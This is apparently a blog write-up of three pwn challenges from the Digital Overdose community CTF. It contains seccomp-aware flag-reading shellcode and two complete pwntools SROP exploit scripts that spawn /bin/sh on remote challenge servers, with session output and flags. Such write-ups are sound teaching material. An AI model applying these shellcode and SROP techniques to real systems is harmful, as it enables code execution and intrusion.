The Digital Overdose Community brings it’s second community CTF to existence.
It is a 2-day jeopardy-style CTF spanning multiple categories such as Web, Pwn, OSINT, Crypto, Stego, etc.
Source Analysis - Boris
First things first
We are given an ELF x86-64 binary, let’s execute it and see what happens.
┌──(kali㉿kali)-[~/ctf/digitaloverdose]
└─$ ./boris
[.] Boris is bored. My genius needs using! Give me something to do!
1234
[+] Finally, a task! But you'll never break my access codes...
[!] Access codes applied!
'lxko,
;xXWWO;
cKWWk,
''' ':kNWk,
',,, ':dO0Kkc,' 'xWMWOc'
;d0KK0l' 'oNMMMMWK0Oc' dWMMMKc
'xWMMW0l' ;0MMMMMMMWMKx: dWMMMNo
,OMM0o:' ;0MMMMMMMMMNKo dWMMMWd
:xXMWx, ,kMMMMMMMMM0o; dWMMMMO,
'OMMMWk, 'dWMMMMMMMMOc, :0MMMMMNo
xMMMW0c' ,dNMMMMMMM0d:'' ',, ,l0WMMMMMWd
oNMMMXOl' ':lxXMMMMMMMWNXKOxk0XKOk0XWMMMMMMMWd
;0MMMNK0l ',;;:oKMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWO:
dWMMMMMXkddokKKkdkXMMMMMMMMMMMMMMMMMMMMMMMMMMMMWXd,
:KMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWX0xoc,
'ck0XWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXkdl;'
';cloxKWMMMMMMMMMMMMMMMMMMMMMMMMMMMMO,
'dWMMMMMMMMMMMMMMMMMMMMMMMMMMMMWk,
,OMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWk,
lNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWO;
'xWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWk,
--------- I'm INVINCIBLE!! ---------
[.] Good luck... you'll need it!
[!] Better luck next time. SLUGHEADS!
The program is waiting for input, then sleeping for a short moment and printing the text seen above.
Dynamic Analysis
By running an strace on the program, we can already get a good idea of what is happening in the background. Interesting parts of the output can be seen below:
mmap(0xdead000, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0) = 0xdead000
read(0, 1234
"1234\n", 4096) = 5
write(1, "[+] Finally, a task! But you'll "..., 63[+] Finally, a task! But you'll never break my access codes...
) = 63
seccomp(SECCOMP_SET_MODE_STRICT, 1, NULL) = -1 EINVAL (Invalid argument)
seccomp(SECCOMP_SET_MODE_FILTER, SECCOMP_FILTER_FLAG_TSYNC, NULL) = -1 EFAULT (Bad address)
seccomp(SECCOMP_SET_MODE_FILTER, SECCOMP_FILTER_FLAG_LOG, NULL) = -1 EFAULT (Bad address)
seccomp(SECCOMP_GET_ACTION_AVAIL, 0, [SECCOMP_RET_LOG]) = 0
seccomp(SECCOMP_GET_ACTION_AVAIL, 0, [SECCOMP_RET_KILL_PROCESS]) = 0
seccomp(SECCOMP_SET_MODE_FILTER, SECCOMP_FILTER_FLAG_SPEC_ALLOW, NULL) = -1 EFAULT (Bad address)
seccomp(SECCOMP_SET_MODE_FILTER, SECCOMP_FILTER_FLAG_NEW_LISTENER, NULL) = -1 EFAULT (Bad address)
seccomp(SECCOMP_GET_NOTIF_SIZES, 0, 0x7ffd72c11ae2) = 0
seccomp(SECCOMP_SET_MODE_FILTER, SECCOMP_FILTER_FLAG_TSYNC_ESRCH, NULL) = -1 EFAULT (Bad address)
[...]
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x7fd468e5bc0a} ---
write(1, "[!] Better luck next time. SLUGH"..., 38[!] Better luck next time. SLUGHEADS!
) = 38
exit_group(-1) = ?
+++ exited with 255 +++
Aha! Right before we send our input, the program allocated 4096 bytes of memory with RWX permission at the address 0xdead000. After running the strace twice, we notice that the address doesn’t change.
Next we notice a few calls to seccomp(), seccomp can be used to restrict the usage of certain syscalls, more on this later.
At last the program receives a Segmentation Fault and exits. This means the program tried to access invalid memory in one way or another. Since we didn’t get a segmentation fault message earlier, it can be assumed the program implements a custom signal handler.
Static Analysis
If we decompile the program with Ghidra and take a look at the main function, we can already recognize a lot of things we found during dynamic analysis.
do {
if (3 < local_1ac) {
puts("[.] Boris is bored. My genius needs using! Give me something to do!");
fflush(stdout);
map_rwx = mmap((void *)0xdead000,0x1000,7,0x22,0,0);
if ((int)map_rwx == 0xdead000) {
read(0,(void *)0xdead000,0x1000);
puts("[+] Finally, a task! But you\'ll never break my access codes...");
fflush(stdout);
bVar1 = sec();
if ((int)CONCAT71(extraout_var,bVar1) == 0) {
nanosleep(&local_198,&local_1a8);
puts("[!] Access codes applied!");
puts(BORIS_ART);
puts("[.] Good luck... you\'ll need it!");
fflush(stdout);
nanosleep(&local_198,&local_1a8);
(*(code *)0xdead000)();
uVar3 = 0;
}
else {
uVar3 = 1;
}
}
Okay let’s dig through this code a little more. We can ignore the two conditions as we already know we can reach at least puts("[.] Good luck... you\'ll need it!");
in the code.
This part will allocate 4096 bytes in memory at a fixed address of 0xdead000 with RWX permissions. You can read more about mmap and it’s flags here.
map_rwx = mmap((void *)0xdead000,0x1000,7,0x22,0,0);
Then the program reads 4096 bytes from stdin to this previosuly mapped memory area:
read(0,(void *)0xdead000,0x1000);
Afterwards the program does a few sleep commands and finally executes this line:
(*(code *)0xdead000)();
Essentially what this does is treat the memory at 0xdead000 as code/instructions and execute it like a regular function call. That also explains the segmentation fault from earlier, the program tried to execute my "1234\n"
input, which probably resulted in bad instructions.
So this means we can simply read shellcode from stdin and get a shell, right?! Sadly, no. If we try to read a regular shellcode performing an execve(“/bin/sh”,0,0) for example, we notice that nothing happens.
What is seccomp?
Excerpt from wikipedia:
seccomp (short for secure computing mode) is a computer security facility in the Linux kernel. seccomp allows a process to make a one-way transition into a “secure” state where it cannot make any system calls except
exit()
,sigreturn()
,read()
andwrite()
to already-open file descriptors.
So basically seccomp can be used to restrict the usage of syscalls to only a very few, which won’t allow us to execute code.
During our initial analysis with strace, we already noticed a few calls to seccomp()
. Looking a little bit closer with Ghidra we find that the sec()
function is where these calls are being made.
bool sec(void)
{
int success;
undefined8 ctx;
uint counter;
undefined4 syscall_nums [8];
ctx = seccomp_init(0x30000);
syscall_nums[0] = 257;
syscall_nums[1] = 0;
syscall_nums[2] = 1;
syscall_nums[3] = 40;
syscall_nums[4] = 60;
syscall_nums[5] = 231;
syscall_nums[6] = 80;
syscall_nums[7] = 230;
counter = 0;
while( true ) {
if (7 < counter) {
success = seccomp_load(ctx);
return success != 0;
}
success = seccomp_rule_add(ctx,0x7fff0000,syscall_nums[(int)counter],0);
if (success != 0) break;
counter = counter + 1;
}
return true;
}
The sec function first initializes a new context by calling seccomp_init(0x30000);
. The value 0x30000
refers to the SCMP_ACT_TRAP action. This means everytime a syscall not in the current filter is called, a SIGTRAP will be triggered.
Next the function initializes an array with 8 values each corresponding with a syscall. Again, you can look up each syscall in this table.
Then it’s looping 8 times, calling seccomp_rule_add(ctx,0x7fff0000,syscall_nums[(int)counter],0)
each time. Essentially it’s adding all these 8 syscalls to the filter, so they will be allowed and won’t trigger a SIGTRAP.
Writing the shellcode
Now that we know which syscalls are allowed, we can start to build our shellcode. Since we have 4096 bytes to read, we don’t have to worry about space or any other constraints. The read() syscall can even read nullbytes, so we don’t have to avoid them (I did anyway, as practice).
The interesting syscalls that I used for my shellcode are:
%rax | System Call | %rdi | %rsi | %rdx | %r10 |
---|---|---|---|---|---|
40 | sys_sendfile | int out_fd | int in_fd | off_t *offset | size_t count |
80 | sys_chdir | const char *filename | |||
257 | sys_openat | int dfd | const char *filename | int flags | int mode |
The challenge description already gave away that the flag is located at /flag.txt
, so my shellcode would look something like this in pseudo code:
sys_chdir("/");
int fd = sys_openat(AT_FDCWD, "flag.txt", 0, 0);
sys_sendfile(1, fd, 0, 30);
I think the code is pretty self explanatory. Reading through the man page for openat()
, we learn that we need to use AT_FDCWD
as the directory file descriptor to use the current working directory. The numeric value of AT_FDCWD
is -100
as seen here.
My final shellcode written in assembly can be seen below:
0: 48 31 c0 xor rax,rax ; rax = 0
3: 48 31 db xor rbx,rbx ; rbx = 0
6: b3 2f mov bl,0x2f ; rbx = "/"
8: 50 push rax
9: 53 push rbx
a: 48 89 e7 mov rdi,rsp ; rdi = address of "/"
d: 48 83 c0 50 add rax,0x50 ; rax = 80
11: 0f 05 syscall ; sys_chdir("/")
13: 48 31 c0 xor rax,rax ; rax = 0
16: 48 bb 66 6c 61 67 2e movabs rbx,0x7478742e67616c66 ; rbx = "flag.txt"
1d: 74 78 74
20: 50 push rax
21: 53 push rbx
22: 48 31 ff xor rdi,rdi ; rdi = 0
25: 48 c7 c7 9c ff ff ff mov rdi,0xffffffffffffff9c ; rdi = -100
2c: 48 31 d2 xor rdx,rdx
2f: 48 89 e6 mov rsi,rsp ; rsi = address of "flag.txt"
32: 48 c7 c0 ff fe ff ff mov rax,0xfffffffffffffeff ; rax = -257 (avoid null byte)
39: 48 f7 d8 neg rax ; rax = -rax
3c: 0f 05 syscall ; openat(-100,"flag.txt", 0, 0)
3e: 50 push rax ; push fd to stack
3f: 48 31 c0 xor rax,rax ; rax = 0
42: 48 83 c0 28 add rax,0x28 ; rax = 40
46: 48 31 ff xor rdi,rdi ; rdi = 0
49: 48 ff c7 inc rdi ; rdi = rdi + 1
4c: 5e pop rsi ; rsi = fd
4d: 48 31 d2 xor rdx,rdx ; rdx = 0 (offset)
50: 4d 31 d2 xor r10,r10 ; r10 = 0 (count)
53: 49 83 c2 1e add r10,0x1e ; r10 = 30 (count)
57: 0f 05 syscall ; sendfile(1, fd, 0, 30)
Finally we assemble the shellcode, save it to a file, then redirect it into our netcat command to receive the flag!
┌──(kali㉿kali)-[~/ctf/digitaloverdose]
└─$ nc 193.57.159.27 40000 < shellcode.txt
[.] Boris is bored. My genius needs using! Give me something to do!
[+] Finally, a task! But you'll never break my access codes...
[!] Access codes applied!
'lxko,
;xXWWO;
cKWWk,
''' ':kNWk,
',,, ':dO0Kkc,' 'xWMWOc'
;d0KK0l' 'oNMMMMWK0Oc' dWMMMKc
'xWMMW0l' ;0MMMMMMMWMKx: dWMMMNo
,OMM0o:' ;0MMMMMMMMMNKo dWMMMWd
:xXMWx, ,kMMMMMMMMM0o; dWMMMMO,
'OMMMWk, 'dWMMMMMMMMOc, :0MMMMMNo
xMMMW0c' ,dNMMMMMMM0d:'' ',, ,l0WMMMMMWd
oNMMMXOl' ':lxXMMMMMMMWNXKOxk0XKOk0XWMMMMMMMWd
;0MMMNK0l ',;;:oKMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWO:
dWMMMMMXkddokKKkdkXMMMMMMMMMMMMMMMMMMMMMMMMMMMMWXd,
:KMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWX0xoc,
'ck0XWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXkdl;'
';cloxKWMMMMMMMMMMMMMMMMMMMMMMMMMMMMO,
'dWMMMMMMMMMMMMMMMMMMMMMMMMMMMMWk,
,OMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWk,
lNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWO;
'xWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWk,
--------- I'm INVINCIBLE!! ---------
[.] Good luck... you'll need it!
DO{H0w_cAn_thi5_b3!?_n0b0dy_Sp!ke5_B0r1s!}
[!] Better luck next time. SLUGHEADS!
ROPuzzle V0 - SROP
This challenge was very similar to a CTF challenge I created back in 2019. It’s a small binary written in assembly, with ASLR and NX enabled.
The program reads an input from stdin, which leads to a bufferoverflow after 8 bytes. Pretty quickly I realized the similarity to my challenge and adjusted my SROP exploit to work for this challenge. The key difference in this challenge is that we already have the string /bin/sh
available in the binary at a fixed address. This makes exploitation a lot easier.
If you don’t know what SROP is, I suggest reading my post linked above or checking out the whitepaper for a deeper understanding.
Alright.. let’s get into it!
Disassembly
Disassembly of section .text:
0000000000401000 <_start>:
401000: 55 push rbp
401001: 48 89 e5 mov rbp,rsp
401004: e8 05 00 00 00 call 40100e <get_input>
401009: e8 20 00 00 00 call 40102e <exit>
000000000040100e <get_input>:
40100e: 55 push rbp
40100f: 48 89 e5 mov rbp,rsp
401012: b8 00 00 00 00 mov eax,0x0
401017: bf 00 00 00 00 mov edi,0x0
40101c: 48 89 e6 mov rsi,rsp
40101f: ba 00 10 00 00 mov edx,0x1000
401024: e8 02 00 00 00 call 40102b <syscall_me>
401029: c9 leave
40102a: c3 ret
000000000040102b <syscall_me>:
40102b: 0f 05 syscall
40102d: c3 ret
000000000040102e <exit>:
40102e: b8 3c 00 00 00 mov eax,0x3c
401033: bf 00 00 00 00 mov edi,0x0
401038: 0f 05 syscall
40103a: e8 ef ff ff ff call 40102e <exit>
000000000040103f <gadget>:
40103f: 58 pop rax
401040: c3 ret
Disassembly of section .data:
0000000000402000 <msg>:
402000: 2f (bad)
402001: 62 (bad)
402002: 69 .byte 0x69
402003: 6e outs dx,BYTE PTR ds:[rsi]
402004: 2f (bad)
402005: 73 68 jae 40206f <_end+0x67>
Trigger sigreturn syscall
Since we don’t have any gadgets available that will trigger a sigreturn (syscall 15), we have to think of a different way. We already have an easy syscall;ret
gadget, so we just need to manipulate the RAX register and set it to 15 (0xf).
Here is another difference to my challenge, this was one has a pop rax
gadget available while my challenge didn’t and you needed a different method to set RAX.
So we simply pop the value 15 into RAX, then return to the syscall gadget. This will trigger the sigreturn, which will restore the program state from a sigreturn frame on the stack.
At this point the payload would look like this:
syscall_ret = 0x40102b
pop_rax = 0x40103f
payload = b'A'*8
payload += p64(pop_rax)
payload += p64(15) # 15 for sigret
payload += p64(syscall_ret)
Building the frame
The sigreturn allows us to control every register, including RIP. This means we can completely redirect the control flow and basically execute anything we want. We want to set up the registers in a way that we execute execve("/bin/sh",0,0)
.
The string "/bin/sh"
can already be found in the binary and will be at a fixed location.
┌──(kali㉿kali)-[~/ctf/digitaloverdose/pwn/V0]
└─$ strings -t x main | grep /bin/sh
2000 /bin/sh
It can be found at an offset of 0x2000. Now we need to find out what the base addres will be of the program.
┌──(kali㉿kali)-[~/ctf/digitaloverdose/pwn/V0]
└─$ readelf -l main
Elf file type is EXEC (Executable file)
Entry point 0x401000
There are 3 program headers, starting at offset 64
Program Headers:
Type Offset VirtAddr PhysAddr
FileSiz MemSiz Flags Align
LOAD 0x0000000000000000 0x0000000000400000 0x0000000000400000
0x00000000000000e8 0x00000000000000e8 R 0x1000
LOAD 0x0000000000001000 0x0000000000401000 0x0000000000401000
0x0000000000000041 0x0000000000000041 R E 0x1000
LOAD 0x0000000000002000 0x0000000000402000 0x0000000000402000
0x0000000000000007 0x0000000000000007 RW 0x1000
Section to Segment mapping:
Segment Sections...
00
01 .text
02 .data
We can see that the VirtAddr of the program will start at 0x400000, which means "/bin/sh"
will be at 0x402000. It makes sense because it’s also referred to as the .data section and the string is the only data used in the program.
Another easy way to find the address is with gdb-peda:
gdb-peda$ start
[...]
Temporary breakpoint 1, 0x0000000000401004 in _start ()
gdb-peda$ find /bin/sh
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
main : 0x402000 --> 0x68732f6e69622f ('/bin/sh')
gdb-peda$
Now we know the address of "/bin/sh"
and we can set up the registers to perform the execve() syscall.
All x64 syscalls and their respective arguments can be found here.
With the help of pwntools we can easily build the frame like this:
frame = SigreturnFrame()
frame.rax = 0x3b # sys_execve()
frame.rdi = 0x402000 # const char *filename
frame.rsi = 0 # const char *const argv[]
frame.rdx = 0 # const char *const envp[]
frame.rsp = 0x402000 # a valid writable address
frame.rip = syscall_ret # syscall;ret
Final Exploit
Find my final exploit below:
from pwn import *
p = remote('193.57.159.27',23866)
#p = process('./main')
context.clear(arch='amd64')
syscall_ret = 0x40102b
pop_rax = 0x40103f
payload = b'A'*8
payload += p64(pop_rax)
payload += p64(15) # 15 for sigret
payload += p64(syscall_ret)
frame = SigreturnFrame()
frame.rax = 0x3b # sys_execve()
frame.rdi = 0x402000 # const char *filename
frame.rsi = 0 # const char *const argv[]
frame.rdx = 0 # const char *const envp[]
frame.rsp = 0x402000 # a valid writable address
frame.rip = syscall_ret # syscall;ret
payload += bytes(frame)
p.send(payload)
p.interactive()
"""
┌──(kali㉿kali)-[~/ctf/digitaloverdose/pwn/V0]
└─$ python3 exploit.py
[+] Opening connection to 193.57.159.27 on port 23866: Done
[*] Switching to interactive mode
$ ls -la
total 16
drwxr-xr-x. 1 root root 22 Oct 9 00:03 .
drwxr-xr-x. 1 root root 17 Oct 8 23:36 ..
-rwxr--r--. 1 root root 20 Oct 9 00:02 flag.txt
-rwxr-xr-x. 1 root root 8960 Oct 9 00:02 run
$ cat flag.txt
DO{h0Rr4Y_F0r_SR0P!}$
$ id
uid=101(ractf) gid=65534(nogroup) groups=65534(nogroup)
$ exit
"""
ROPuzzle V1 - Still SROP ;)
This challenge has the same simple bufferoverflow but tries to make exploitation harder by introducing a mechanism to make sure we exploit it in one shot. Furthermore we have a few different gadgets available this time than before.
Disassembly
Let’s have a look at the disassembly. I added some comments for easier understanding
Disassembly of section .text:
0000000000401000 <_start>:
401000: e8 05 00 00 00 call 40100a <get_input>
401005: e8 5e 00 00 00 call 401068 <exit>
000000000040100a <get_input>:
40100a: 48 83 ec 08 sub rsp,0x8
40100e: b8 00 00 00 00 mov eax,0x0
401013: bf 00 00 00 00 mov edi,0x0
401018: 48 89 e6 mov rsi,rsp
40101b: ba 00 10 00 00 mov edx,0x1000
401020: 0f 05 syscall
401022: 8b 04 25 00 20 40 00 mov eax,DWORD PTR ds:0x402000 ; set RAX to value of safety variable
401029: 85 c0 test eax,eax
40102b: 75 3b jne 401068 <exit> ; if(var!=0){ exit(); }
40102d: c7 04 25 00 20 40 00 mov DWORD PTR ds:0x402000,0x1 ; set var to 1
401034: 01 00 00 00
401038: b8 00 00 00 00 mov eax,0x0
40103d: bb 00 00 00 00 mov ebx,0x0
401042: b9 00 00 00 00 mov ecx,0x0
401047: ba 00 00 00 00 mov edx,0x0
40104c: be 00 00 00 00 mov esi,0x0
401051: 41 b8 00 00 00 00 mov r8d,0x0
401057: 41 b9 00 00 00 00 mov r9d,0x0
40105d: 41 ba 00 00 00 00 mov r10d,0x0
401063: 48 83 c4 08 add rsp,0x8
401067: c3 ret
0000000000401068 <exit>:
401068: b8 3c 00 00 00 mov eax,0x3c
40106d: bf 00 00 00 00 mov edi,0x0
401072: 0f 05 syscall ; exit() syscall
401074: e8 ef ff ff ff call 401068 <exit> ; no syscall;ret gadget this time
0000000000401079 <gadget_1>:
401079: b8 06 00 00 00 mov eax,0x6
40107e: c3 ret
000000000040107f <gadget_2>:
40107f: b8 09 00 00 00 mov eax,0x9
401084: c3 ret
0000000000401085 <gadget_3>:
401085: 48 89 c7 mov rdi,rax
401088: c3 ret
0000000000401089 <gadget_4>:
401089: 48 89 f8 mov rax,rdi
40108c: c3 ret
000000000040108d <gadget_5>:
40108d: 48 89 c6 mov rsi,rax
401090: c3 ret
0000000000401091 <gadget_6>:
401091: 48 89 f0 mov rax,rsi
401094: c3 ret
0000000000401095 <gadget_7>:
401095: 48 89 c2 mov rdx,rax
401098: c3 ret
0000000000401099 <gadget_8>:
401099: 48 89 d0 mov rax,rdx
40109c: c3 ret
000000000040109d <gadget_9>:
40109d: 48 f7 ef imul rdi
4010a0: c3 ret
00000000004010a1 <gadget_10>:
4010a1: 48 01 f8 add rax,rdi
4010a4: c3 ret
00000000004010a5 <gadget_11>:
4010a5: 48 29 f8 sub rax,rdi
4010a8: c3 ret
00000000004010a9 <gadget_12>:
4010a9: 48 f7 f7 div rdi
4010ac: c3 ret
00000000004010ad <gadget_13>:
4010ad: 88 07 mov BYTE PTR [rdi],al
4010af: 48 81 ff 00 20 40 00 cmp rdi,0x402000
4010b6: 74 b0 je 401068 <exit>
4010b8: c3 ret
Heres a quick rundown of what the program is doing:
- read 0x1000 bytes from stdin to the stack
- check if value at 0x402000 is 0
- if the value is not zero (therefore it changed), exit the program
- set the value at 0x402000 to 1
- clear out all registers
- adjust stack and return
My Exploit Idea
There isn’t any gadget to directly control RAX, but multiple other gadgets that can be used to set RAX to 15. This can be done by chaining the following 4 gadgets:
0000000000401079 <gadget_1>:
401079: b8 06 00 00 00 mov eax,0x6
40107e: c3 ret
0000000000401085 <gadget_3>:
401085: 48 89 c7 mov rdi,rax
401088: c3 ret
000000000040107f <gadget_2>:
40107f: b8 09 00 00 00 mov eax,0x9
401084: c3 ret
00000000004010a1 <gadget_10>:
4010a1: 48 01 f8 add rax,rdi
4010a4: c3 ret
This will simply add 9 to 6, which will result in RAX being set to 15, the syscall number for sigret.
The next immediate problem is that we don’t have the string "/bin/sh"
available at a known address within the binary. That means we have to place it somewhere, where we can predict the address. We could return into get_input and perform a 2nd read syscall to write the string onto the stack, except we wouldn’t be able to predict the address because of ASLR and the security check will kick in an exit the program…
A different solution is needed. Luckily we can solve those two problems with one method, SROP. First we set RSP to 0x402000 (.data) again just like before. Now we have a stack, which will always have the same address and we can easily predict. But how can we get around the security check for the variable set to 1? Easy! The stack is exactly at the address where the variable is located, so all we need to do is overwrite it with a 0 by executing a read() syscall. Then we can repeat the bufferoverflow and set up the execve() call with our fixed stack.
Building the Exploit
Okay, let’s start building the payload up to this point. The following will overflow the buffer, chain the gadgets to set RAX=15, and finally return to a syscall and executing the sigret.
mov_rax_6 = 0x401079
mov_rdi_rax = 0x401085
mov_rax_9 = 0x40107f
add_rax_rdi = 0x4010a1
payload = b'A'*8
payload += p64(mov_rax_6)
payload += p64(mov_rdi_rax)
payload += p64(mov_rax_9)
payload += p64(add_rax_rdi) # set rax=0xf
payload += p64(0x401072) # syscall (sigret)
Next we want to set up all the registers so we have a controlled stack and overwrite the first value on the stack with a 0. The sigreturn frame will look like this:
frame = SigreturnFrame()
frame.rax = 0 # read() syscall
frame.rdi = 0
frame.rsi = 0
frame.rdx = 0
frame.rsp = 0x402000 # set stack to writable memory with know addr
frame.rip = 0x401018 # jmp to get_input
Once the sigreturn is executed the execution flow of the program will continue here:
401018: 48 89 e6 mov rsi,rsp
40101b: ba 00 10 00 00 mov edx,0x1000
401020: 0f 05 syscall
[...]
Now the program will wait for input again, which will then be written to the stack (0x402000). The first value of our input has to be 0, then we can overflow the buffer again and set up another sigret just like before.
payload = p64(0) # overwrite sanity with 0
payload += p64(mov_rax_6)
payload += p64(mov_rdi_rax)
payload += p64(mov_rax_9)
payload += p64(add_rax_rdi) # set rax=0xf
payload += p64(0x401072) # syscall (sigret)
The last thing we need to do now is set up the sigreturn frame to execute execve("/bin/sh",0,0)
just like in V0. If you thought I forgot about "/bin/sh"
, worry not! Since we know the address of the stack all we have to do is append the string at the very end of our payload and add the length of the payload to the stack address. The code will look like this:
frame = SigreturnFrame()
bin_sh = 0x402000 + len(payload) + len(bytes(frame)) # calculate /bin/sh address
frame.rax = 0x3b # execve()
frame.rdi = bin_sh # /bin/sh address
frame.rsi = 0
frame.rdx = 0
frame.rsp = 0x402000 # doesn't matter really
frame.rip = 0x401072 # syscall
payload += bytes(frame) # add frame
payload += b"/bin/sh\x00" # add /bin/sh
Short Recap of Exploit
- Execute first sigret
- Shift stack to known address (0x402000)
- overwrite stack with 0 + ROPChain
- set up second sigret
- append “/bin/sh” at the end and calculate address
- trigger sigret
- execve(“/bin/sh”,0,0) and we win :)
Final Exploit
Find my final exploit below:
from pwn import *
import time
p = remote('193.57.159.27',52852)
#p = process('./main')
context.clear(arch='amd64')
context.log_level = 'debug'
mov_rax_6 = 0x401079
mov_rdi_rax = 0x401085
mov_rax_9 = 0x40107f
add_rax_rdi = 0x4010a1
mov_rdi_al = 0x4010ad
imul = 0x40109d
payload = b'A'*8
payload += p64(mov_rax_6)
payload += p64(mov_rdi_rax)
payload += p64(mov_rax_9)
payload += p64(add_rax_rdi) # set rax=0xf
payload += p64(0x401072) # syscall (sigret)
frame = SigreturnFrame()
frame.rax = 0 # read syscall
frame.rdi = 0
frame.rsi = 0
frame.rdx = 0
frame.rsp = 0x402000 # set stack to writable memory with know addr
frame.rip = 0x401018 # jmp to get_input
# since we set rsp to 0x402000 (where sanity check is)
# we can overwrite it with 0 to bypass the oneshot ;)
payload += bytes(frame)
# sending
p.send(payload)
time.sleep(0.1)
payload = p64(0) # overwrite sanity with 0
payload += p64(mov_rax_6)
payload += p64(mov_rdi_rax)
payload += p64(mov_rax_9)
payload += p64(add_rax_rdi) # set rax=0xf
payload += p64(0x401072) # syscall (sigret)
frame = SigreturnFrame()
bin_sh = 0x402000 + len(payload) + len(bytes(frame)) # calculate /bin/sh address
frame.rax = 0x3b # execve()
frame.rdi = bin_sh # /bin/sh address
frame.rsi = 0
frame.rdx = 0
frame.rsp = 0x402000 # doesn't matter really
frame.rip = 0x401072 # syscall
payload += bytes(frame) # add frame
payload += b"/bin/sh\x00" # add /bin/sh
p.send(payload)
p.interactive()
"""
┌──(kali㉿kali)-[~/ctf/digitaloverdose/pwn/V1]
└─$ python3 exploit.py
[+] Opening connection to 193.57.159.27 on port 52852: Done
[*] Switching to interactive mode
$ ls -la
total 16
drwxr-xr-x. 1 root root 22 Oct 9 00:05 .
drwxr-xr-x. 1 root root 17 Oct 8 23:36 ..
-rwxr--r--. 1 root root 1523 Oct 9 00:05 flag.txt
-rwxr-xr-x. 1 root root 9384 Oct 9 00:04 run
$ cat flag.txt
DO{DO{9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9+9*9*9*9*9*9*9*9+9*9*9*9*9*9*9+9*9*9*9*9*9*9+9*9*9*9*9*9*9+9*9*9*9*9*9+9*9*9*9*9*9+9*9*9*9*9*9+9*9*9*9*9*9+9*9*9*9*9+9*9*9*9*9+9*9*9*9*9+9*9*9*9*9+9*9*9*9*9+9*9*9*9*9+9*9*9*9*9+9*9*9*9+9*9*9*9+9*9*9*9+9*9*9*9+9*9*9*9+9*9*9*9+9*9*9+9*9*9+9*9*9+9*9+9*9+9*9+9+9+9+9+9+9//9+9//9+9//9+9//9+9//9+9//9+9//9}}
$ id
uid=101(ractf) gid=65534(nogroup) groups=65534(nogroup)
$ exit
"""
PS: After seeing the flag, maybe I didn’t do what the author intended ;)